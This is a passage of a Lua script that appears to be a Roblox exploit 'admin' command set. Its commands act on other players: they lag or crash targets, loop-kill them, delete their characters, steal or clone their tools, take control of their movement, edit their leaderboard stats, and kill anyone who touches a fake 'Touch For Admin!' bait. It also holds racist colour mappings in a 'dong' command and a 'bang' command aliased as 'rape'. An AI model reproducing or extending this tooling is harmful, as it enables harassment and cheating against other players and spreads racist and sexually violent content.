GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for a,b in pairs(JAILED) do if b == _PLAYERS[v].Name then table.remove(JAILED, a) end end if workspace:FindFirstChild('JAIL_' .. _PLAYERS[v].Name) then workspace['JAIL_' .. _PLAYERS[v].Name]:destroy() end end end) ADD_COMMAND('animation','animation [plr] [id]',{'anim'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local ID = ARGS[2] if ARGS[2] == 'climb' then ID = '180436334' end if ARGS[2] == 'fall' then ID = '180436148' end if ARGS[2] == 'jump' then ID = '125750702' end if ARGS[2] == 'sit' then ID = '178130996' end for a,b in pairs(_PLAYERS[v].Character.Animate:GetChildren()) do if b:IsA('StringValue') then for c,d in pairs(b:GetChildren()) do if d:IsA('Animation') then d.AnimationId = 'rbxassetid://' .. ID end end end end end end) ADD_COMMAND('fix','fix [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character RESET_MODEL(PCHAR) UPDATE_MODEL(PCHAR, _PLAYERS[v].Name) end end) ADD_COMMAND('creeper','creeper [plr]',{'crpr'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do CREEPER(_PLAYERS[v]) end end) ADD_COMMAND('uncreeper','uncreeper [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character RESET_MODEL(PCHAR) UPDATE_MODEL(PCHAR, _PLAYERS[v].Name) end end) ADD_COMMAND('shrek','shrek [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do SHREK(_PLAYERS[v]) end end) ADD_COMMAND('unshrek','unshrek [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character RESET_MODEL(PCHAR) UPDATE_MODEL(PCHAR, _PLAYERS[v].Name) end end) ADD_COMMAND('nuke','nuke [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character spawn(function() if _PLAYERS[v] and PCHAR and PCHAR:FindFirstChild('Torso') then local N = Instance.new('Part', workspace) N.Name = 'nuke_seth' N.Anchored = true N.CanCollide = false N.Shape = 'Ball' N.Size = Vector3.new(1, 1, 1) N.BrickColor = BrickColor.new('New Yeller') N.Transparency = 0.5 N.Reflectance = 0.2 N.TopSurface = 0 N.BottomSurface = 0 N.Touched:connect(function(T) if T and T.Parent then local E = Instance.new('Explosion', workspace) E.Position = T.Position E.BlastRadius = 20 E.BlastPressure = math.huge end end) local CF = PCHAR.Torso.CFrame N.CFrame = CF for i = 1,30 do N.Size = N.Size + Vector3.new(5, 5, 5) N.CFrame = CF wait(1 / 44) end N:destroy() end end) end end) ADD_COMMAND('unnuke','nonuke',{}, function(ARGS, SPEAKER) for i,v in pairs(workspace:GetChildren()) do if v:IsA('Part') and v.Name == 'nuke_seth' then v:destroy() end end end) ADD_COMMAND('infect','infect [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do INFECT(_PLAYERS[v]) end end) ADD_COMMAND('uninfect','uninfect [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character RESET_MODEL(PCHAR) UPDATE_MODEL(PCHAR, _PLAYERS[v].Name) end end) ADD_COMMAND('duck','duck [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do DUCK(_PLAYERS[v]) end end) ADD_COMMAND('unduck','unduck [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character RESET_MODEL(PCHAR) UPDATE_MODEL(PCHAR, _PLAYERS[v].Name) end end) ADD_COMMAND('disable','disable [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.Name = 'HUMANOID_' .. _PLAYERS[v].Name local humanoid = PCHAR['HUMANOID_' .. _PLAYERS[v].Name] humanoid.Parent = HUMANOIDS end end end) ADD_COMMAND('enable','enable [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then return else if HUMANOIDS:FindFirstChild('HUMANOID_' .. _PLAYERS[v].Name) then local humanoid = HUMANOIDS['HUMANOID_' .. _PLAYERS[v].Name] humanoid.Parent = PCHAR humanoid.Name = 'Humanoid' end end end end) ADD_COMMAND('size','size [plr] [int]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do SCALE(_PLAYERS[v].Character, ARGS[2]) end end) ADD_COMMAND('clone','clone [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Archivable = true local C = PCHAR:Clone() C.Parent = workspace C:MoveTo(PCHAR:GetModelCFrame().p) C:MakeJoints() PCHAR.Archivable = false end end) ADD_COMMAND('spin','spin [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR.Torso:GetChildren()) do if v.Name == 'SPIN' then v:destroy() end end local T = PCHAR.Torso local BG = Instance.new('BodyGyro', T) BG.Name = 'SPIN' BG.maxTorque = Vector3.new(0, math.huge, 0) BG.P = 11111 BG.cframe = T.CFrame spawn(function() repeat wait(1/44) BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0) until not BG or BG.Parent ~= T end) end end) ADD_COMMAND('unspin','unspin [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR.Torso:GetChildren()) do if v.Name == 'SPIN' then v:destroy() end end end end) ADD_COMMAND('dog','dog [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do DOG(_PLAYERS[v]) end end) ADD_COMMAND('undog','undog [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character RESET_MODEL(PCHAR) UPDATE_MODEL(PCHAR, _PLAYERS[v].Name) end end) ADD_COMMAND('loopheal','loopheal [plr]',{'lheal'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if not FIND_IN_TABLE(LOOPED_H, _PLAYERS[v].Name) then table.insert(LOOPED_H, _PLAYERS[v].Name) end end end) ADD_COMMAND('unloopheal','unloopheal [plr]',{'unlheal'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if FIND_IN_TABLE(LOOPED_H, _PLAYERS[v].Name) then table.remove(LOOPED_H, GET_IN_TABLE(LOOPED_H, _PLAYERS[v].Name)) end end end) ADD_COMMAND('loopkill','loopheal [plr]',{'lheal'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if not FIND_IN_TABLE(LOOPED_K, _PLAYERS[v].Name) then table.insert(LOOPED_K, _PLAYERS[v].Name) end end end) ADD_COMMAND('unloopkill','unloopkill [plr]',{'unlkill'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if FIND_IN_TABLE(LOOPED_K, _PLAYERS[v].Name) then table.remove(LOOPED_K, GET_IN_TABLE(LOOPED_K, _PLAYERS[v].Name)) end end end) ADD_COMMAND('fling','fling [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then local X local Z repeat X = math.random(-9999, 9999) until math.abs(X) >= 5555 repeat Z = math.random(-9999, 9999) until math.abs(Z) >= 5555 PCHAR.Torso.Velocity = Vector3.new(0, 0, 0) local BF = Instance.new('BodyForce', PCHAR.Torso) BF.force = Vector3.new(X * 4, 9999 * 5, Z * 4) end end end) ADD_COMMAND('alien','alien [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do ALIEN(_PLAYERS[v]) end end) ADD_COMMAND('nograv','nograv [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if not _PLAYERS[v].Character.Torso:FindFirstChild('nograv_seth') then NEW'BodyForce'{Name = 'nograv_seth', Force = Vector3.new(0, GET_MASS(_PLAYERS[v].Character) * 196.2, 0), Parent = _PLAYERS[v].Character.Torso} end end end) ADD_COMMAND('grav','grav [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if _PLAYERS[v].Character.Torso:FindFirstChild('nograv_seth') then _PLAYERS[v].Character.Torso.nograv_seth:destroy() end end end) ADD_COMMAND('cape','cape [brick color]',{}, function(ARGS, SPEAKER) spawn(function() if LP.Character:FindFirstChild('Cape') then LP.Character.Cape:destroy() end if not ARGS[1] then ARGS[1] = 'Deep blue' end CAPE(GLS(false, 1)) end) end) ADD_COMMAND('uncape','uncape',{}, function(ARGS, SPEAKER) if LP.Character:FindFirstChild('cape_seth') then LP.Character.cape_seth:destroy() end end) ADD_COMMAND('paper','paper [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then PAPER_MESH:Clone().Parent = v end end end end) ADD_COMMAND('punish','punish [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character.Parent = nil end end) ADD_COMMAND('unpunish','unpunish [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].Character.Parent = workspace end end) local DISCO = false ADD_COMMAND('disco','disco',{}, function(ARGS, SPEAKER) DISCO = true if not DISCO then spawn(function() repeat wait(1) _LIGHTING.Ambient = C3(math.random(), math.random(), math.random()) until not DISCO end) end end) ADD_COMMAND('undisco','undisco',{}, function(ARGS, SPEAKER) DISCO = false end) ADD_COMMAND('team','team [plr] [team]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for a,b in pairs(game.Teams:GetChildren()) do if string.lower(b.Name) == GLS(true, 1) then _PLAYERS[v].Team = b end end end end) ADD_COMMAND('jp','jp [plr] [int]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.JumpPower = ARGS[2] end end end) ADD_COMMAND('smallhead','smallhead [plr]',{'shead'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Head.Mesh.Scale = Vector3.new(0.5, 0.5, 0.5) PCHAR.Head.Mesh.Offset = Vector3.new(0, -0.25, 0) end end) ADD_COMMAND('bighead','bighead [plr]',{'bhead'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Head.Mesh.Scale = Vector3.new(2.25, 2.25, 2.25) PCHAR.Head.Mesh.Offset = Vector3.new(0, 0.5, 0) end end) ADD_COMMAND('headsize','headsize [plr] [int]',{'hsize'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if ARGS[2] == 1 then PCHAR.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25) PCHAR.Head.Mesh.Offset = Vector3.new(0, 0, 0) else PCHAR.Head.Mesh.Scale = ARGS[2] * Vector3.new(1.25, 1.25, 1.25) end end end) ADD_COMMAND('fixhead','fixhead [plr]',{'fhead'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25) PCHAR.Head.Mesh.Offset = Vector3.new(0, 0, 0) PCHAR.Head.Transparency = 0 if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency = 0 end end end) ADD_COMMAND('removehead','removehead [plr]',{'rhead'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Head.Transparency = 1 if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency = 1 end end end) ADD_COMMAND('stealtools','stealtools [plr]',{'stools'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do if v:IsA('Tool') or v:IsA('HopperBin') then v.Parent = LP.Backpack end end end end) ADD_COMMAND('removetools','removetools [plr]',{'rtools'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:destroy() end end end end) ADD_COMMAND('clonetools','clonetools [plr]',{'ctools'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do if v:IsA('Tool') or v:IsA('HopperBin') then v:Clone().Parent = LP.Backpack end end end end) ADD_COMMAND('dong','dong [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if ARGS[2] == 'black' then CREATE_DONG(_PLAYERS[v], 'Brown') end if ARGS[2] == 'asian' then CREATE_DONG(_PLAYERS[v], 'Cool yellow') end if ARGS[2] == 'alien' then CREATE_DONG(_PLAYERS[v], 'Lime green') end if ARGS[2] == 'frozen' then CREATE_DONG(_PLAYERS[v], 1019) end if not ARGS[2] then CREATE_DONG(_PLAYERS[v], 'Pastel brown') end end end) ADD_COMMAND('particles','particles [plr] [id]',{'pts'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR.Torso:GetChildren()) do if v:IsA('ParticleEmitter') then v:destroy() end end Instance.new('ParticleEmitter', PCHAR.Torso).Texture = 'rbxassetid://' .. ARGS[2] - 1 end end) ADD_COMMAND('rocket','rocket [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character spawn(function() local R = ROCKET:Clone() R.Parent = workspace local W = Instance.new('Weld', R) W.Part0 = W.Parent W.Part1 = PCHAR.Torso W.C1 = CFrame.new(0, 0.5, 1) R.force.Force = Vector3.new(0, 15000, 0) wait() PCHAR.HumanoidRootPart.CFrame = PCHAR.HumanoidRootPart.CFrame * CFrame.new(0, 5, 0) wait(5) Instance.new('Explosion', R).Position = R.Position wait(1) R:destroy() end) end end) ADD_COMMAND('blackify','blackify [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do COLOR(_PLAYERS[v], 'Really black') end end) ADD_COMMAND('whitify','whitify [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do COLOR(_PLAYERS[v], 'White') end end) ADD_COMMAND('color','color [plr] [brick color]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do COLOR(_PLAYERS[v], GLS(false, 1)) end end) ADD_COMMAND('change','change [plr] [stat] [int/string]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if _PLAYERS[v]:FindFirstChild('leaderstats') then for i,v in pairs(_PLAYERS[v].leaderstats:GetChildren()) do if string.lower(v.Name) == string.lower(ARGS[2]) and v:IsA('IntValue') or v:IsA('NumberValue') then if ARGS[3] then v.Value = tonumber(ARGS[3]) end elseif string.lower(v.Name) == string.lower(ARGS[2]) and v:IsA('StringValue') then v.Value = GLS(false, 2) end end end end end) ADD_COMMAND('bait','bait',{}, function(ARGS, SPEAKER) spawn(function() local M = Instance.new('Model', workspace) M.Name = 'Touch For Admin!' local P = Instance.new('Part', M) P.Name = 'Head' P.Position = SPEAKER.Character.Head.Position P.BrickColor = BrickColor.new('Pink') P.Material = 'Neon' local H = Instance.new('Humanoid', M) P.Touched:connect(function(RIP) if RIP.Parent.Name ~= SPEAKER.Name or RIP.Parent.Name ~= LP.Name then if RIP.Parent:FindFirstChild('Humanoid') then RIP.Parent.Humanoid:destroy() end end end) end) end) ADD_COMMAND('naked','naked [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Accessory') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then v:destroy() end for i,v in pairs(PCHAR.Torso:GetChildren()) do if v:IsA('Decal') then v:destroy() end end end end end) ADD_COMMAND('decalspam','decalspam [decal]',{'dspam'}, function(ARGS, SPEAKER) if ARGS[1] then DECALSPAM(workspace, ARGS[1]) end end) ADD_COMMAND('undecalspam','undecalspam',{'undspam'}, function(ARGS, SPEAKER) if ARGS[1] then UNDECALSPAM(workspace) end end) ADD_COMMAND('bang','bang [plr]',{'rape'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do BANG(_PLAYERS[v].Name) end end) ADD_COMMAND('lag','lag [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do LAG(_PLAYERS[v]) end end) ADD_COMMAND('respawn','respawn [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do RESPAWN(_PLAYERS[v]) end end) ADD_COMMAND('face','face [plr] [decal]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR.Head:GetChildren()) do if v:IsA('Decal') then v:destroy() end end local F = Instance.new('Decal', PCHAR.Head) F.Name = 'face' F.Texture = 'rbxassetid://' .. ARGS[2] - 1 end end) ADD_COMMAND('shirt','shirt [plr] [decal]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Shirt') then v:destroy() end end local S = Instance.new('Shirt', PCHAR) S.Name = 'Shirt' S.ShirtTemplate = 'rbxassetid://' .. ARGS[2] - 1 end end) ADD_COMMAND('pants','pants [plr] [decal]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Pants') then v:destroy() end end local P = Instance.new('Pants', PCHAR) P.Name = 'Shirt' P.PantsTemplate = 'rbxassetid://' .. ARGS[2] - 1 end end) ADD_COMMAND('longneck','longneck [plr]',{'lneck', 'giraffe'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character RESET_MODEL(PCHAR) UPDATE_MODEL(PCHAR, _PLAYERS[v].Name) for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Accessory') then v.Handle.Mesh.Offset = Vector3.new(0, 5, 0) end end if PCHAR.Head:FindFirstChild('Mesh') then PCHAR.Head.Mesh.Offset = Vector3.new(0, 5, 0) end local G = Instance.new('Part', PCHAR) G.Name = 'giraffe_seth' G.BrickColor = PCHAR.Head.BrickColor G.Size = Vector3.new(2, 1, 1) local SM = Instance.new('SpecialMesh', G) SM.Scale = Vector3.new(1.25, 5, 1.25) SM.Offset = Vector3.new(0, 2, 0) local W = Instance.new('Weld', G) W.Part0 = PCHAR.Head W.Part1 = G end end) ADD_COMMAND('stealchar','stealchar [plr]',{'schar'}, function(ARGS, SPEAKER) local PLAYERS1, PLAYERS2 = GET_PLAYER(ARGS[1]) for i,v in pairs(PLAYERS1) do RESET_MODEL(SPEAKER.Character) UPDATE_MODEL(SPEAKER.Character, _PLAYERS[v].Name) end end) ADD_COMMAND('baseplate','baseplate',{'bp'}, function(ARGS, SPEAKER) for i,v in pairs(workspace:GetChildren()) do if v:IsA('Model') and v.Name == 'baseplate_seth' then v:destroy() end end local BP = Instance.new('Part', workspace) BP.Name = 'baseplate_seth' BP.Anchored = true BP.BrickColor = BrickColor.new('Bright green') BP.Size = Vector3.new(2048, 5, 2048) BP.Position = Vector3.new(0, 0, 0) end) ADD_COMMAND('norotate','norotate [plr]',{'nrt'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.AutoRotate = false end end end) ADD_COMMAND('rotate','rotate [plr]',{'rt'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.AutoRotate = true end end end) ADD_COMMAND('admin','admin [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if not CHECK_ADMIN(_PLAYERS[v]) then table.insert(ADMINS, _PLAYERS[v].userId) UPDATE_ADMINS() spawn(function() game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF .. 'You\'re now an admin!') wait(3) game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF .. 'Give me a try! | ' .. C_PREFIX .. 'ff me') end) end end end) ADD_COMMAND('unadmin','unadmin [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do if CHECK_ADMIN(_PLAYERS[v]) then if FIND_IN_TABLE(ADMINS, _PLAYERS[v].userId) then table.remove(ADMINS, GET_IN_TABLE(ADMINS, _PLAYERS[v].userId)) UPDATE_ADMINS() game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF .. 'You\'re no longer an admin.') end end end end) ADD_COMMAND('minzoom','minzoom [plr] [int]',{'minz'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].CameraMinZoomDistance = ARGS[2] end end) ADD_COMMAND('maxzoom','maxzoom [plr] [int]',{'maxz'}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do _PLAYERS[v].CameraMaxZoomDistance = ARGS[2] end end) ADD_COMMAND('age','age [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do NOTIFY(_PLAYERS[v].Name .. ' | ' .. _PLAYERS[v].AccountAge, 255, 255, 255) end end) ADD_COMMAND('hl','hl [plr] [r] [g] [b]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Torso') then local HL = Instance.new('SpotLight', PCHAR.Torso) HL.Name = 'seth_hl' HL.Brightness = 5 HL.Range = 60 if ARGS[2] and ARGS[3] and ARGS[4] then HL.Color = C3(ARGS[2], ARGS[3], ARGS[4]) end end end end) ADD_COMMAND('unhl','unhl [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character if PCHAR:FindFirstChild('Torso') then for i,v in pairs(PCHAR.Torso:GetChildren()) do if v:IsA('SpotLight') and v.Name == 'seth_hl' then v:destroy() end end end end end) ADD_COMMAND('crash','crash [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character PCHAR.Torso.Anchored = true for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Humanoid') then for i = 1,10 do v.HipHeight = 1/0*0 end end end end end) ADD_COMMAND('smite','smite [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character spawn(function() local function CastRay(A, B, C) local V = B - A return workspace:FindPartOnRayWithIgnoreList(Ray.new(A, V.unit * math.min(V.magnitude, 999)), C or {}, false, true) end local PP = PCHAR.PrimaryPart.Position - Vector3.new(0, 3, 0) local S = Instance.new('Sound', workspace) S.SoundId = 'rbxassetid://178090362' S.Volume = 1 S:Play() spawn(function() wait(7) S:destroy() end) local S,P2 = CastRay(PP, PP - Vector3.new(0, 9, 0), {PCHAR}) local P1 = Instance.new('Part', game.Workspace) P1.BrickColor = BrickColor.new('Institutional white') P1.Material = 'Neon' P1.Transparency = 0.9 P1.Anchored = true P1.CanCollide = false P1.Size = Vector3.new(0.2, 0.2, 0.2) P1.CFrame = CFrame.new((S and P2 or PP) + Vector3.new(0, 1e3, 0)) Instance.new('BlockMesh', P1).Scale = Vector3.new(10, 10000, 10) local P2, P3, P4, P5 = P1:Clone(), P1:Clone(), P1:Clone(), P1:Clone() for i, v in next, {P2, P3, P4, P5} do i = i * 0.1 v.Parent, v.Size = P1, Vector3.new(0.2 + i, 0.2, 0.2 + i ) v.CFrame = P1.CFrame end wait(0.5) P1:destroy() PCHAR:BreakJoints() end) end end) ADD_COMMAND('skydive','skydive [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character spawn(function() for i = 0, 3 do if PCHAR then PCHAR.HumanoidRootPart.CFrame = PCHAR.HumanoidRootPart.CFrame + Vector3.new(0, 7500, 0) end end end) end end) ADD_COMMAND('message','message [string]',{'m'}, function(ARGS, SPEAKER) spawn(function() if MG then MESSAGE(GLS(false, 0)) else LOAD_MESSAGE(GLS(false, 0)) end end) end) ADD_COMMAND('control','control [plr]',{}, function(ARGS, SPEAKER) local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER) for i,v in pairs(PLAYERS) do local PCHAR = _PLAYERS[v].Character local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = _PLAYERS[v].Name local CONTROL_ENABLED = false local function CONTROL(P, V3) if CONTROL_ENABLED then if P.Character and P.Character:FindFirstChild('Humanoid') then P.Character.Humanoid:MoveTo(V3) end end end HB.Selected:connect(function(M) M.Button1Down:connect(function() CONTROL_ENABLED = true CONTROL(_PLAYERS:FindFirstChild(HB.Name), M.Hit.p) end) M.Button1Up:connect(function() CONTROL_ENABLED = false end) end) end end) -- / extra ADD_COMMAND('gravity','gravity [int]',{}, function(ARGS, SPEAKER) workspace.Gravity = ARGS[1] end) ADD_COMMAND('fixlighting','fixlighting',{'fixl'}, function(ARGS, 